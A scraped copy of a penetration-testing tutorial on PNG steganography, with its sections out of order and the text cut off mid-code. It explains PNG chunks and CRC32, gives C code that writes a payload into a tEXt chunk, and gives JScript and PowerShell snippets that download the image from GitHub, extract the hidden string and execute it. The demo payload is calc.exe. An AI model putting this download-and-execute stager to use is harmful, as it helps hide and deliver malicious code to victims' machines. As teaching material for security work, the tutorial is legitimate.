Payload\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>Example:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Write the payload according to the ancillary chunk format\u003C\u002Fp>\u003Cp>The written payload is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>calc.exe\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Ancillary chunk set to:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>tEXt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding complete chunk structure is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Length:\t\t\t\t00 00 00 08\u003Cbr>Chunk Type Code:\t74 45 58 74\u003Cbr>Chunk Data:\t\t\t63 61 6c 63 2e 65 78 65\u003Cbr>CRC:\t\t\t\tfa c4 08 76\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The written hexadecimal data is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>00 00 00 08 74 45 58 74 63 61 6c 63 2e 65 78 65 fa c4 08 76\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This example is for demonstration only; in actual use, other data chunks can be used for greater concealment.\u003C\u002Fp>\u003Ch3>1. Tool Implementation\u003C\u002Fh3>\u003Cp>Insert data using a Hex Editor, as shown in the figure.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019889924_11_2f424c4312.png\">\u003C\u002Fp>\u003Cp>After saving, PNG file viewing remains unaffected.\u003C\u002Fp>\u003Ch3>2. Program Implementation\u003C\u002Fh3>\u003Cp>After removing all ancillary data chunks from the PNG file, write the payload data chunk tEXt.\u003C\u002Fp>\u003Cp>Save as addpayload.cpp, complete code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include\u003Cstdio.h>\u003Cbr>#include\u003Cstring.h>\u003Cbr>\u003Cbr>unsigned int GetCrc32(unsigned char* InStr,unsigned int len){        \u003Cbr>\tunsigned int Crc32Table[256];      \u003Cbr>\tunsigned int i,j;        \u003Cbr>\tunsigned int Crc;        \u003Cbr>\tfor (i = 0; i &lt; 256; i++){        \u003Cbr>\t\tCrc = i;        \u003Cbr>\t\tfor (j = 0; j &lt; 8; j++){        \u003Cbr>\t\t\tif (Crc &amp; 1)        \u003Cbr>\t\t\t\tCrc = (Crc &gt;&gt; 1) ^ 0xEDB88320;        \u003Cbr>\t\t\telse       \u003Cbr>\t\t\t\tCrc &gt;&gt;= 1;      \u003Cbr>\t\t}        \u003Cbr>\t\tCrc32Table[i] = Crc;        \u003Cbr>\t}        \u003Cbr>\t\u003Cbr>\tCrc=0xffffffff;        \u003Cbr>\tfor(unsigned int m=0; m\u003Clen; m++){=\"\" \u003Cbr=\"\">\t\tCrc = (Crc &gt;&gt; 8) ^ Crc32Table[(Crc &amp; 0xFF) ^ InStr[m]];        \u003Cbr>\t}     \u003Cbr>\t\u003Cbr>\tCrc ^= 0xFFFFFFFF;     \u003Cbr>\treturn Crc;        \u003Cbr>}        \u003Cbr>\u003Cbr>void convertStrToUnChar(char* str, unsigned char* UnChar)  \u003Cbr>{  \u003Cbr>\tint i = strlen(str), j = 0, counter = 0;  \u003Cbr>\tchar c[2];  \u003Cbr>\tunsigned int bytes[2];  \u003Cbr>  \u003Cbr>\tfor (j = 0; j &lt; i; j += 2)   \u003Cbr>\t{  \u003Cbr>\t\tif(0 == j % 2)  \u003Cbr>\t\t{  \u003Cbr>\t\t\tc[0] = str[j];  \u003Cbr>\t\t\tc[1] = str[j + 1];  \u003Cbr>\t\t\tsscanf(c, \"%02x\" , &amp;bytes[0]);  \u003Cbr>\t\t\tUnChar[counter] = bytes[0];  \u003Cbr>\t\t\tcounter++;  \u003Cbr>\t\t}  \u003Cbr>\t}  \u003Cbr>\treturn;  \u003Cbr>}     \u003Cbr>\u003Cbr>void AddPayload(FILE *fp)\u003Cbr>{\u003Cbr>\tchar *Payload=\"calc.exe\";\u003Cbr>\tunsigned char *buf;\u003Cbr>\tint len;\u003Cbr>\tint crc32;\u003Cbr>\tlen=strlen(Payload);\u003Cbr>\tbuf=new unsigned char[len+12];\u003Cbr>\tbuf[0]=len&gt;&gt;24&amp;0xff;\u003Cbr>\tbuf[1]=len&gt;&gt;16&amp;0xff;\u003Cbr>\tbuf[2]=len&gt;&gt;8&amp;0xff;\u003Cbr>\tbuf[3]=len&amp;0xff;\u003Cbr>\tbuf[4]='t';\u003Cbr>\tbuf[5]='E';\u003Cbr>\tbuf[6]='X';\u003Cbr>\tbuf[7]='t';\u003Cbr>\tfor(int j=0;j\u003Clen;j++)\u003Cbr>\t\tbuf[j+8]=Payload[j];\u003Cbr>\tbuf[len+8]=0XFA;\u003Cbr>\tbuf[len+9]=0XC4;\u003Cbr>\tbuf[len+10]=0X08;\u003Cbr>\tbuf[len+11]=0X76;\u003Cbr>\tfwrite(buf,len+12,1,fp);\u003Cbr>}\u003Cbr>\u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tFILE *fp,*fpnew;\u003Cbr>\tunsigned char *buf=NULL;\u003Cbr>\tunsigned int len=0;\u003Cbr>\tunsigned int ChunkLen=0;\u003Cbr>\tunsigned int ChunkCRC32=0;\u003Cbr>\tunsigned int ChunkOffset=0;\u003Cbr>\tunsigned int crc32=0;\u003Cbr>\tunsigned int i=0,j=0;\u003Cbr>\tunsigned char Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};\t\u003Cbr>\tunsigned char IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};\t   \u003Cbr>\t\u003Cbr>\tif((fp=fopen(\"c:\\\\test\\\\test.png\",\"rb+\"))==NULL)\u003Cbr>\t\treturn 0;  \u003Cbr>\tif((fpnew=fopen(\"c:\\\\test\\\\new.png\",\"wb\"))==NULL)\u003Cbr>\t\treturn 0;  \u003Cbr>\tfseek(fp,0,SEEK_END);\u003Cbr>\tlen=ftell(fp);\u003Cbr>\tbuf=new unsigned char[len];\u003Cbr>\tfseek(fp,0,SEEK_SET);\u003Cbr>\tfread(buf,len,1,fp);\u003Cbr>\tprintf(\"Total Len=%d\\n\",len);\u003Cbr>\tprintf(\"----------------------------------------------------\\n\");\u003Cbr>\tfseek(fp,8,SEEK_SET);\u003Cbr>\tChunkOffset=8;\u003Cbr>\ti=0;\u003Cbr>\tfwrite(Signature,8,1,fpnew);\u003Cbr>\twhile(1)\u003Cbr>\t{\u003Cbr>\t\ti++;\u003Cbr>\t\tj=0;\u003Cbr>\t\tmemset(buf,0,len);\u003Cbr>\t\tfread(buf,4,1,fp);\u003Cbr>\t\tfwrite(buf,4,1,fpnew);\u003Cbr>\t\tChunkLen=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003Cbr>\t\tfread(buf,4+ChunkLen,1,fp);\u003Cbr>\t\tprintf(\"[+]ChunkName:%c%c%c%c\\t\\t\",buf[0],buf[1],buf[2],buf[3]);\u003Cbr>\t\tif(strncmp((char *)buf,\"IHDR\",4)==0|strncmp((char *)buf,\"PLTE\",4)==0|strncmp((char *)buf,\"IDAT\",4)==0)\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Palette Chunk\\n\");\u003Cbr>\u003Cbr>\t\t\tfwrite(buf,4+ChunkLen,1,fpnew);\u003Cbr>\t\t}\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Ancillary Chunk\\n\");\u003Cbr>\t\t\tfseek(fpnew,-4,SEEK_CUR);\u003Cbr>\t\t\tj=1;\u003Cbr>\t\t}\u003Cbr>\t\tprintf(\"   ChunkOffset:0x%08x\t\\n\",ChunkOffset);\u003Cbr>\t\tprintf(\"   ChunkLen: %10d\t\t\\n\",ChunkLen);\u003Cbr>\t\tcrc32=GetCrc32(buf,ChunkLen+4);\u003Cbr>\t\tprintf(\"   ExpectCRC32:%08X\\n\",crc32);\u003Cbr>\t\tfread(buf,4,1,fp);\u003Cbr>\t\tChunkCRC32=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003Cbr>\t\tprintf(\"   ChunkCRC32: %08X\t\t\",ChunkCRC32);\u003Cbr>\t\tif(crc32!=ChunkCRC32)\u003Cbr>\t\t\tprintf(\"[!]CRC32Check Error!\\n\");\u003Cbr>\t\telse\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"Check Success!\\n\\n\");\u003Cbr>\t\t\tif(j==0)\u003Cbr>\t\t\t\tfwrite(buf,4,1,fpnew);\u003Cbr>\t\t}\u003Cbr>\t\tChunkLen=ftell(fp);\u003Cbr>\t\tif(ChunkLen==(len-12))\u003Cbr>\t\t{\u003Cbr>\t\t\tprintf(\"\\n----------------------------------------------------\\n\");\u003Cbr>\t\t\tprintf(\"Total Chunk:%d\\n\",i);\u003Cbr>\t\t\tbreak;\u003Cbr>\t\t}\u003Cbr>\t}\u003Cbr>\tAddPayload(fpnew);\u003Cbr>\tfwrite(IEND,12,1,fpnew);\u003Cbr>\tfclose(fp);\u003Cbr>\tfclose(fpnew);\u003Cbr>\treturn 0;\t\u003Cbr>}\u003C\u002Flen;j++)\u003Cbr>\u003C\u002Flen;>\u003C\u002Fstring.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Use check.cpp to verify it, as shown in the figure, verification successful\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019891372_12_df943447bb.png\">\u003C\u002Fp>\u003Ch2>0x07 Read payload and execute\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Upload the image with payload added to GitHub, and implement reading the image, parsing the payload, and executing it on the client side:\u003C\u002Fp>\u003Ch3>1、javascript\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>h = new ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");\u003Cbr>h.SetTimeouts(0, 0, 0, 0);\u003Cbr>h.Open(\"GET\",\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FPNG-Steganography\u002Fmaster\u002Fnew.png\",false);\u003Cbr>h.Send();\u003Cbr>Data = h.ResponseText;\u003Cbr>x=Data.indexOf(\"tEXt\");\u003Cbr>y=Data.indexOf(\"IEND\");\u003Cbr>str=Data.substring(x+4,y-8);\u003Cbr>new ActiveXObject(\"WScript.Shell\").Run(str); \u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2、powershell\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$url = 'https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FPNG-Steganography\u002Fmaster\u002Fnew.png'\u003Cbr>$request = New-Object System.Net.WebCLient\u003Cbr>$bytes = $request.DownloadString($url)\u003Cbr>$x=$bytes.indexof(\"tEXt\")\u003Cbr>$y=$bytes.indexof(\"IEND\")\u003Cbr>$str=$bytes.Substring($x+4,$y-$x-12)\u003Cbr>Start-Process -FilePath $str\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Two methods are provided here for demonstration purposes only\u003C\u002Fp>\u003Ch2>0x08 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article provides a detailed analysis of the PNG file format and implements the following functionalities through programming:\u003C\u002Fp>\u003Cul>\u003Cli>Automatically parse the PNG file format to assist in finding hidden content within\u003C\u002Fli>\u003Cli>Add Payload\u003C\u002Fli>\u003Cli>Download PNG images, parse them, and execute the payload\u003C\u002Fli>\u003C\u002Ful>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Steganography has a long history with many interesting details, so I plan to systematically study it. This time, let's start with the PNG file format.\u003C\u002Fp>\u003Cp>![Alt text](\u003C\u002Fp>\u003Cp>https:\u002F\u002Fraw.githubusercontent.某开源项目.jpg)\u003C\u002Fp>\u003Cp>Image from http:\u002F\u002Fnull-byte.wonderhowto.com\u002Fhow-to\u002Fguide-steganography-part-1-hide-secret-messages-images-0130797\u002F\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Steganography can be understood as information hiding, with its primary application in penetration testing being payload concealment. This article will analyze the PNG file format, write a C program to automatically parse the file format, and add custom payloads according to its structure. This will not affect normal image viewing, allow image uploads to the internet, and enable payload execution by downloading the image and decrypting it in a specific format.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>All program source code has been uploaded to GitHub at:\u003C\u002Fp>\u003Cp>某开源项目\u003C\u002Fp>\u003Ch2>0x02 PNG File Format\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. PNG file signature field\u003C\u002Fh3>\u003Cp>First 8 bytes\u003C\u002Fp>\u003Cp>Fixed format, hexadecimal representation:\u003C\u002Fp>\u003Cp>89 50 4e 47 0d 0a 1a 0a\u003C\u002Fp>\u003Ch3>2. Data chunks\u003C\u002Fh3>\u003Cp>Chunk Type Code: 4 bytes, data chunk type code\u003C\u002Fp>\u003Cp>Chunk Data: Variable length, stores data\u003C\u002Fp>\u003Cp>CRC (Cyclic Redundancy Check): 4 bytes, stores cyclic redundancy code for error detection\u003C\u002Fp>\u003Cp>\u003Cstrong>Data chunk types:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>\u003Cstrong>1. Critical chunks\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>(1) IHDR chunk (header chunk)\u003C\u002Fp>\u003Cul>\u003Cli>Contains basic information of the PNG file\u003C\u002Fli>\u003Cli>Only one IHDR chunk can exist in a PNG data stream\u003C\u002Fli>\u003Cli>\u003Cstrong>Must be placed at the very beginning of the PNG file\u003C\u002Fstrong>\u003C\u002Fli>\u003C\u002Ful>\u003Cp>(2) PLTE chunk (palette chunk)\u003C\u002Fp>\u003Cul>\u003Cli>Contains color transformation data related to indexed-color images\u003C\u002Fli>\u003Cli>\u003Cstrong>Must appear before IDAT\u003C\u002Fstrong>\u003C\u002Fli>\u003C\u002Ful>\u003Cp>(3) Image data chunk IDAT\u003C\u002Fp>\u003Cul>\u003Cli>Stores actual image data\u003C\u002Fli>\u003Cli>Multiple IDAT chunks may exist\u003C\u002Fli>\u003Cli>\u003Cstrong>Must be consecutive with other IDAT chunks\u003C\u002Fstrong>\u003C\u002Fli>\u003C\u002Ful>\u003Cp>(4) Image trailer chunk IEND\u003C\u002Fp>\u003Cul>\u003Cli>Fixed format, hexadecimal representation:\u003C\u002Fli>\u003C\u002Ful>\u003Cp>00 00 00 00 49 45 4E 44 AE 42 60 82\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Must be at the very end of the PNG file\u003C\u002Fstrong>\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>2. Ancillary chunks\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Used to indicate layers, text, and other auxiliary information in PNG images\u003C\u002Fp>\u003Cp>\u003Cstrong>Can be deleted without affecting image viewing, but the image will lose its original editability\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>(1) Background color chunk bKGD\u003C\u002Fp>\u003Cp>(2) Primary chromaticities and white point chunk cHRM\u003C\u002Fp>\u003Cp>(3) Image gamma chunk gAMA (image gamma)\u003C\u002Fp>\u003Cp>(4) Image histogram chunk hIST (image histogram)\u003C\u002Fp>\u003Cp>(5) Physical pixel dimensions chunk pHYs (physical pixel dimensions)\u003C\u002Fp>\u003Cp>(6) Significant bits chunk sBIT (significant bits)\u003C\u002Fp>\u003Cp>(7) Textual data chunk tEXt (textual data)\u003C\u002Fp>\u003Cp>(8) Image last-modification time chunk tIME (image last-modification time)\u003C\u002Fp>\u003Cp>(9) Transparency chunk tRNS (transparency)\u003C\u002Fp>\u003Cp>(10) Compressed textual data chunk zTXt (compressed textual data)\u003C\u002Fp>\u003Ch2>0x03 Instance format analysis\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Tool: Hex Editor\u003C\u002Fp>\u003Cp>\u003Cstrong>Advantages:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Allows marking of hexadecimal strings, setting colors, facilitating format analysis\u003C\u002Fp>\u003Cp>\u003Cstrong>Test file:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019814897_0_59be984192-1.png\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Source download address:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>http:\u002F\u002Fwww.easyicon.net\u002Flanguage.en\u002F1172671-png_icon.html\u003C\u002Fp>\u003Cp>The marked file format is as shown\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019824357_1_164d35e68a-1.png\">\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019837235_2_cca12bfe8a-1.png\">\u003C\u002Fp>\u003Ch3>(1) PNG file signature field\u003C\u002Fh3>\u003Cp>Fixed format:\u003C\u002Fp>\u003Cp>89 50 4e 47 0d 0a 1a 0a \u003C\u002Fp>\u003Ch3>(2) IHDR\u003C\u002Fh3>\u003Cp>00000008h: 00 00 00 0D 49 48 44 52 00 00 00 1A 00 00 00 1A ; ....IHDR........\u003C\u002Fp>\u003Cp>00000018h: 08 04 00 00 00 03 43 84 45                      ; ......C凟\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk structure:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>\u003Cstrong>Length:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>00 00 00 0D\u003C\u002Fp>\u003Cp>The first 4 bytes define the length, 00 00 00 0D in decimal is 13, representing a length of 13 bytes.\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk Type Code:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>49 48 44 52\u003C\u002Fp>\u003Cp>4 bytes, define the chunk type code, here it is IHDR\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk Data:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>00 00 00 1A 00 00 00 1A 08 04 00 00 00 \u003C\u002Fp>\u003Cp>A total of 13 bytes, define the data content\u003C\u002Fp>\u003Cp>\u003Cstrong>CRC:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>4 bytes, the value calculated by performing CRC32 on Chunk Type Code + Chunk Data\u003C\u002Fp>\u003Cp>That is, calculate the following hexadecimal:\u003C\u002Fp>\u003Cp>49 48 44 52 00 00 00 1A 00 00 00 1A 08 04 00 00 00\u003C\u002Fp>\u003Cp>Write a program to verify the CRC algorithm, save it as example1.cpp, the source code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include \u003Cstring.h>\u003Cbr>unsigned int GetCrc32(char* InStr,unsigned int len){        \u003Cbr>  unsigned int Crc32Table[256];      \u003Cbr>  int i,j;        \u003Cbr>  unsigned int Crc;        \u003Cbr>  for (i = 0; i &lt; 256; i++){        \u003Cbr>\tCrc = i;        \u003Cbr>\tfor (j = 0; j &lt; 8; j++){        \u003Cbr>\t  if (Crc &amp; 1)        \u003Cbr>\t\tCrc = (Crc &gt;&gt; 1) ^ 0xEDB88320;        \u003Cbr>\t  else       \u003Cbr>\t\tCrc &gt;&gt;= 1;      \u003Cbr>\t}        \u003Cbr>\tCrc32Table[i] = Crc;        \u003Cbr>  }        \u003Cbr>\t\u003Cbr>  Crc=0xffffffff;        \u003Cbr>  for(int m=0; m\u003Clen; m++){=\"\" \u003Cbr=\"\">\tCrc = (Crc &gt;&gt; 8) ^ Crc32Table[(Crc &amp; 0xFF) ^ InStr[m]];        \u003Cbr>  }     \u003Cbr>\t   \u003Cbr>  Crc ^= 0xFFFFFFFF;     \u003Cbr>  return Crc;        \u003Cbr>}        \u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tchar buf[17]={0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x1A,0x08,0x04,0x00,0x00,0x00};\u003Cbr>\tunsigned int crc32=GetCrc32(buf,sizeof(buf));\u003Cbr>\tprintf(\"%08X\\n\",crc32);\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Flen;>\u003C\u002Fstring.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After running, the output is 03438445, which matches the CRC32 checksum in the file\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019860161_3_858fae1e5b-1.jpeg\">\u003C\u002Fp>\u003Ch3>(3) gAMA\u003C\u002Fh3>\u003Cp>00000021h: 00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61 05 ; ....gAMA..睆.黙.\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk structure:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Length:\t\t\t\t00 00 00 04\u003C\u002Fp>\u003Cp>Chunk Type Code:\t67 41 4D 41\u003C\u002Fp>\u003Cp>Chunk Data:\t\t00 00 B1 8F\u003C\u002Fp>\u003Cp>CRC:\t\t\t\t0B FC 61 05\u003C\u002Fp>\u003Ch3>(4) cHRM\u003C\u002Fh3>\u003Cp>00000031h: 00 00 00 20 63 48 52 4D 00 00 7A 26 00 00 80 84 ; ... cHRM..z&amp;..€?\u003C\u002Fp>\u003Cp>00000041h: 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 ; ..?..€?.u0..阘\u003C\u002Fp>\u003Cp>00000051h: 00 00 3A 98 00 00 17 70 9C BA 51 3C             ; ..:?..p満Q&lt;\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk structure:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Length:\t\t\t\t00 00 00 20\u003C\u002Fp>\u003Cp>Chunk Type Code:\t63 48 52 4D\u003C\u002Fp>\u003Cp>Chunk Data:\t\t\t00 00 7A 26 00 00 80 84 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 00 00 3A 98 00 00 17 70\u003C\u002Fp>\u003Cp>CRC:\t\t\t\t9C BA 51 3C\u003C\u002Fp>\u003Ch3>(5) IDAT\u003C\u002Fh3>\u003Cp>(6-14) tEXt\u003C\u002Fp>\u003Cp>(15) IEND\u003C\u002Fp>\u003Cp>\u003Cstrong>Chunk structure:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Length:\t\t\t\t00 00 00 00\u003C\u002Fp>\u003Cp>Chunk Type Code:\t49 45 4E 44\u003C\u002Fp>\u003Cp>Chunk Data:\u003C\u002Fp>\u003Cp>CRC:\t\t\t\tAE 42 60 82\u003C\u002Fp>\u003Cp>Fixed structure, CRC value is the CRC32 checksum of the Chunk Type Code\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019866187_4_29f3098977-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x04 Writing a program to analyze file format\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Development tool: vc6.0\u003C\u002Fp>\u003Ch3>1. Read PNG file\u003C\u002Fh3>\u003Cp>Save as example2.cpp, the code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include\u003Cstdio.h>\u003Cbr>#include\u003Cstring.h>\u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tFILE *fp;\u003Cbr>\tif((fp=fopen(\"c:\\\\test\\\\test.png\",\"rb+\"))==NULL)\u003Cbr>\t\treturn 0;\u003Cbr>\tfseek(fp,0,SEEK_END);\u003Cbr>int len=ftell(fp);\u003Cbr>unsigned char *buf=new unsigned char[len];\u003Cbr>\tfseek(fp,0,SEEK_SET);\u003Cbr>\tfread(buf,len,1,fp);\u003Cbr>\tprintf(\"len=%d\\n\",len);\u003Cbr>\tfor(int i=1;i&lt;=len;i++)\u003Cbr>\t{\u003Cbr>\t\tprintf(\"%02X \",buf[i-1]);\u003Cbr>\t\tif(i%16==0)\u003Cbr>\t\t\tprintf(\"\\n\");\u003Cbr>\t}\u003Cbr>\tfclose(fp);\u003Cbr>\tprintf(\"\\n\");\u003Cbr>\treturn 0;\t\u003Cbr>}\u003C\u002Fstring.h>\u003C\u002Fstdio.h>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown, the program outputs in UltraEdit format for subsequent format analysis\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019869703_5_7a61e7150e-1.png\">\u003C\u002Fp>\u003Ch3>2. Parse data block structure\u003C\u002Fh3>\u003Cp>Starting from the 8th byte, read the first four bytes as ChunkLength\u003C\u002Fp>\u003Cp>The corresponding code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>unsigned int ChunkLen=(buf[0]&lt;&lt;24)|(buf[1]&lt;&lt;16)|(buf[2]&lt;&lt;8)|buf[3];\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The next four bytes are ChunkName\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>printf(\"ChunkName:%c%c%c%c\\n\",buf[0],buf[1],buf[2],buf[3]);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Then read the complete ChunkData based on ChunkLength\u003C\u002Fp>\u003Cp>Finally, read the CRC32 value and compare it with the CRC32 checksum calculated from Chunk Type Code + Chunk Data\u003C\u002Fp>\u003Cp>Save as check.cpp, the complete code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>#include\u003Cstdio.h>\u003Cbr>#include\u003Cstring.h>\u003Cbr>\u003Cbr>unsigned int GetCrc32(unsigned char* InStr,unsigned int len){        \u003Cbr>\tunsigned int Crc32Table[256];      \u003Cbr>\tunsigned int i,j;        \u003Cbr>\tunsigned int Crc;        \u003Cbr>\tfor (i = 0; i &lt; 256; i++){        \u003Cbr>\t\tCrc = i;        \u003Cbr>\t\tfor (j = 0; j &lt; 8; j++){        \u003Cbr>\t\t\tif (Crc &amp; 1)        \u003Cbr>\t\t\t\tCrc = (Crc &gt;&gt; 1) ^ 0xEDB88320;        \u003Cbr>\t\t\telse       \u003Cbr>\t\t\t\tCrc &gt;&gt;= 1;      \u003Cbr>\t\t}        \u003Cbr>\t\tCrc32Table[i] = Crc;        \u003Cbr>\t}        \u003Cbr>\t\u003Cbr>\tCrc=0xffffffff;        \u003Cbr>\tfor(unsigned int m=0; m\u003Clen; m++){=\"\" \u003Cbr=\"\">\t\tCrc = (Crc &gt;&gt; 8) ^ Crc32Table[(Crc &amp; 0xFF) ^ InStr[m]];        \u003Cbr>\t}     \u003Cbr>\t\u003Cbr>\tCrc ^= 0xFFFFFFFF;     \u003Cbr>\treturn Crc;        \u003Cbr>}        \u003Cbr>\u003Cbr>int main(int argc, char* argv[])\u003Cbr>{\u003Cbr>\tFILE *fp;   \u003Cbr>\tunsigned char *buf=NULL;\u003Cbr>\tunsigned int len=0;\u003Cbr>\tunsigned int ChunkLen=0;\u003Cbr>\tunsigned int ChunkCRC32=0;\u003Cbr>\tunsigned int ChunkOffset=0;\u003Cbr>\tunsigned int crc32=0;\u003Cbr>\tunsigned int i=0;\u003Cbr>\tif((fp=fopen(\"c:\\\\test\\\\test.png\",\"rb+\"))==NULL)\u003Cbr>\t\treturn 0;\u003Cbr>\tfseek(fp,0,SEEK_END);\u003Cbr>\tlen=ftell(fp);\u003Cbr>\tbuf=new unsigned char[len];\u003Cbr>\tfseek(fp,0,SEEK_SET);\u003Cbr>\tfread(buf,len,1,fp);\u003Cbr>\tprintf(\"Total 